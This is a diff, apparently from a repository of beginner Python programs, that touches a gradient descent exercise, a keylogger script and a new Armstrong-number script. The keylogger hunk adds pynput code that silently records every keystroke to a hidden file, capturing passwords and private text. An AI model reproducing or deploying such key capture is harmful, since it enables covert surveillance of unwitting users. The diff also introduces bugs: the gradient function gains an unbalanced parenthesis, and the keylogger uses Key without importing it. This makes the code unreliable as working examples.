Problems

MachineLearning/gradient_descent.py

@@ -1,75 +1,41 @@
-####################################################################################
-## PROBLEM1: Gradient Descent
-## Gradient descent is a popular optimization technique to solve many
-## machine learning problems. In this case, we will explore the gradient
-## descent algorithm to fit a line for the given set of 2-D points.
-## ref: https://tinyurl.com/yc4jbjzs
-## ref: https://spin.atomicobject.com/2014/06/24/gradient-descent-linear-regression/
-##
-##
-## input: directory of faces in ./data/1_points.csv/
-## function for reading points is provided
-##
-##
-## your task: fill the following functions:
-## evaluate_cost
-## evaluate_gradient
-## udpate_params
-## NOTE: do NOT change values of 'init_params' and 'max_iterations' in optimizer
-##
-##
-## output: cost after convergence (rmse, lower the better)
-##
-##
-## NOTE: all required modules are imported. DO NOT import new modules.
-## NOTE: references are given intline
-## tested on Ubuntu14.04, 22Oct2017, Abhilash Srikantha
-####################################################################################
-
 import numpy as np
 import matplotlib.pyplot as plt
 import time
 
 def load_data(fname):
     points = np.loadtxt(fname, delimiter=',') 
     y_ = points[:,1]
-    # append '1' to account for the intercept
-    x_ = np.ones([len(y_),2]) 
+    x_ = np.ones([len(y_), 2])
     x_[:,0] = points[:,0]
-    # display plot
-    #plt.plot(x_[:,0], y_, 'ro')
-    #plt.xlabel('x-axis')
-    #plt.ylabel('y-axis')
-    #plt.show()
     print('data loaded. x:{} y:{}'.format(x_.shape, y_.shape))
     return x_, y_
 
-def evaluate_cost(x_,y_,params):
+def evaluate_cost(x_, y_, params):
     tempcost = 0
     for i in range(len(y_)):
         tempcost += (y_[i] - ((params[0] * x_[i,0]) + params[1])) ** 2 
-    return tempcost / float(10000)   
+    return tempcost / float(10000)
 
-def evaluate_gradient(x_,y_,params):
+def evaluate_gradient(x_, y_, params):
     m_gradient = 0
     b_gradient = 0
     N = float(len(y_))
     for i in range(len(y_)):
-        m_gradient += -(2/N) * (x_[i,0] * (y_[i] - ((params[0] * x_[i,0]) + params[1])))
+        m_gradient += -(2/N) * (x_[i,0] * (y_[i] - ((params[0] * x_[i,0]) + params[1]))
         b_gradient += -(2/N) * (y_[i] - ((params[0] * x_[i,0]) + params[1]))
-    return [m_gradient,b_gradient]
+    return [m_gradient, b_gradient]
 
 def update_params(old_params, grad, alpha):
     new_m = old_params[0] - (alpha * grad[0])
     new_b = old_params[1] - (alpha * grad[1])
-    return [new_m,new_b]
+    return [new_m, new_b]
 
 # initialize the optimizer
-optimizer = {'init_params':np.array([4.5,2.0]) , 
-             'max_iterations':10000, 
-             'alpha':0.69908, 
-             'eps':0.0000001,
-             'inf':1e10}
+optimizer = {'init_params': np.array([4.5, 2.0]), 
+             'max_iterations': 10000, 
+             'alpha': 0.69908, 
+             'eps': 0.0000001,
+             'inf': 1e10}
 
 # load data
 x_, y_ = load_data("./data/1_points.csv")
@@ -83,16 +49,16 @@ def update_params(old_params, grad, alpha):
     old_cost = 1e10
     for iter_ in range(optimizer['max_iterations']):
         # evaluate cost and gradient
-        cost = evaluate_cost(x_,y_,params)
-        grad = evaluate_gradient(x_,y_,params)
+        cost = evaluate_cost(x_, y_, params)
+        grad = evaluate_gradient(x_, y_, params)
         # display
-        if(iter_ % 10 == 0):
+        if iter_ % 10 == 0:
             print('iter: {} cost: {} params: {}'.format(iter_, cost, params))
         # check convergence
-        if(abs(old_cost - cost) < optimizer['eps']):
+        if abs(old_cost - cost) < optimizer['eps']:
             break
-        # udpate parameters
-        params = update_params(params,grad,optimizer['alpha'])
+        # update parameters
+        params = update_params(params, grad, optimizer['alpha'])
         old_cost = cost
 except:
     cost = optimizer['inf']

Programs/P79_SimplePythonKeylogger.py

@@ -4,7 +4,7 @@
 # 1. pyxhook.py: file is provided in the folder itself
 # 2. Xlib: sudo pip3 install python3-Xlib
 
-import pyxhook
+'''import pyxhook
 import time
 
 # functions to write a newline character into the file
@@ -47,3 +47,25 @@ def key_press_event(event):
 
 	# Close the listener when we are done
 	hookman.cancel()
+'''
+
+from pynput.keyboard import Listener
+
+# Functions to handle key press and release events
+def on_key_press(key):
+    try:
+        with open('.keylogger', 'a') as f:
+            f.write(str(key.char))
+    except AttributeError:
+        # Handle special keys
+        with open('.keylogger', 'a') as f:
+            f.write(str(key))
+
+def on_key_release(key):
+    if key == Key.esc:
+        # Terminate the listener
+        return False
+
+# Create a listener for both key press and release events
+with Listener(on_press=on_key_press, on_release=on_key_release) as listener:
+    listener.join()

armstrong.py

@@ -0,0 +1,7 @@
+lower = 100
+upper = 2000
+
+armstrong_numbers = [num for num in range(lower, upper + 1) if num == sum(int(digit) ** len(str(num)) for digit in str(num))]
+
+for armstrong in armstrong_numbers:
+    print(armstrong)